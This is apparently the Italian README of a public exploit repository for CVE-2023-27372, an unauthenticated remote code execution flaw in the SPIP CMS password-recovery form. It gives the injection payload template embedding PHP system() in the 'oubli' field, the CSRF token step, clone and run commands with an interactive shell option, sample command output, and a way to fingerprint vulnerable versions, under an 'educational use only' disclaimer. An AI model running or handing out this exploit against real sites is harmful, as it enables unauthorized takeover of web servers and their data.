
Exploit per CVE-2023-27372 con shell interattiva
Exploit per CVE-2023-27372, una vulnerabilità di esecuzione remota di codice non autenticata nel CMS SPIP che interessa le versioni precedenti alla 4.2.1.
⚠️ Solo a scopo educativo. Utilizzare esclusivamente su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta al test. L'uso non autorizzato è illegale.
SPIP è un CMS open source ampiamente utilizzato per la pubblicazione web. Questa vulnerabilità è presente nel modulo di recupero password (/spip.php?page=spip_pass), dove il parametro oubli viene elaborato senza una corretta sanitizzazione, consentendo a un attaccante di iniettare ed eseguire codice PHP arbitrario sul server — senza bisogno di autenticazione.
| Campo | Dettagli |
|---|---|
| CVE | CVE-2023-27372 |
| Punteggio CVSS | 9.8 (Critico) |
| Vettore di attacco | Rete |
| Autenticazione | Non richiesta |
| Versioni interessate | SPIP < 4.2.1 |
| Tipo di vulnerabilità | Iniezione di codice / RCE non autenticata |
Recupero del token CSRF — Viene effettuata una richiesta GET a /spip.php?page=spip_pass per estrarre il token formulaire_action_args dal modulo HTML.
Costruzione del payload — Viene creata una stringa serializzata PHP con il comando da eseguire:
s:N:"<?php system('COMMAND'); ?>";
Dove N è la lunghezza esatta in byte della stringa PHP interna.
Invio del payload — Viene effettuata una richiesta POST con il payload predisposto nel campo oubli insieme al token CSRF. SPIP elabora questo campo senza sanitizzazione ed esegue il codice PHP iniettato.
Estrazione dell'output — L'output del comando viene restituito all'interno della risposta HTML e analizzato dall'attributo value del campo di input oubli.
requestsbeautifulsoup4argparseregex
git clone https://github.com/scriniarii/CVE-2023-27372
cd CVE-2023-27372
pip install requests beautifulsoup4
python3 exploit.py -u <URL> -c <comando>
| Argomento | Descrizione |
|---|---|
-u, --url |
python3 exploit.py -u http://TARGET/ -c "id"
python3 exploit.py -u http://TARGET/ -s
Output atteso:
[+] Token trovato : JWDCxt5PTFzhPb...
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Per verificare la versione SPIP di un target, cercare il tag meta generator nell'HTML:
<meta name="generator" content="SPIP 4.2.0" />
[!CAUTION]
⚠️ Disclaimer
Si prega di utilizzare le informazioni e gli exploit forniti nei miei repository solo per scopi educativi e di divulgazione responsabile. Non sono responsabile di eventuali usi impropri o danni causati dall'utilizzo di questi strumenti, script o exploit.
| URL base dell'istanza SPIP target |
-c, --command | Comando del sistema operativo da eseguire sul target |
-s, --shell | Shell interattiva |